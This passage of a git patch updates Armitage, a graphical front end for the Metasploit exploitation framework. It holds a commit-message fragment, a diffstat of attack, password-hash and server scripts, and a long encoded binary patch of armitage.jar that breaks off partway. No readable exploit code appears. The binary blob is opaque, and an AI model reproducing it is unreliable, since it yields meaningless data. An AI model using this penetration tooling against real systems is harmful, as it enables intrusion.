hosts and create dynamic workspaces based on these labs. This update also adds helpers to configure USERNAME/PASSWORD options and EXE::Custom and EXE::Template. Several bugs were fixed as well. --- data/armitage/armitage.jar | Bin 3198776 -> 3201422 bytes data/armitage/cortana.jar | Bin 3198920 -> 3201417 bytes data/armitage/whatsnew.txt | 26 ++++ external/source/armitage/build.xml | 2 + external/source/armitage/resources/about.html | 2 +- .../armitage/resources/msfconsole.style | 1 + .../source/armitage/resources/msfrpcd_new.bat | 12 ++ .../armitage/scripts-cortana/cortanadb.sl | 27 +++- .../armitage/scripts-cortana/internal.sl | 21 ++- external/source/armitage/scripts/armitage.sl | 10 +- external/source/armitage/scripts/attacks.sl | 8 + external/source/armitage/scripts/gui.sl | 2 +- external/source/armitage/scripts/jobs.sl | 67 +-------- external/source/armitage/scripts/menus.sl | 23 +++ external/source/armitage/scripts/passhash.sl | 31 ++++ external/source/armitage/scripts/server.sl | 3 - external/source/armitage/scripts/targets.sl | 12 +- external/source/armitage/scripts/util.sl | 16 +- .../source/armitage/scripts/workspaces.sl | 23 +-- .../src/armitage/ArmitageApplication.java | 1 + .../source/armitage/src/cortana/Loader.java | 5 +- .../source/armitage/src/cortana/Main.java | 2 +- .../armitage/src/graph/NetworkGraph.java | 15 +- .../source/armitage/src/msf/DatabaseImpl.java | 142 +++++++++++++++++- .../source/armitage/src/msf/RpcCacheImpl.java | 2 + .../armitage/src/table/NetworkTable.java | 16 +- external/source/armitage/src/ui/ATable.java | 6 + .../source/armitage/src/ui/ZoomableImage.java | 2 + external/source/armitage/whatsnew.txt | 26 ++++ 29 files changed, 385 insertions(+), 118 deletions(-) create mode 100644 external/source/armitage/resources/msfrpcd_new.bat diff --git a/data/armitage/armitage.jar b/data/armitage/armitage.jar index 5ccd4ac15a74d2250efd8513a419dde87aee1312..153f8f95c0a3a630595e86b91d6525cd8b693519 100755 GIT binary patch delta 191570 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 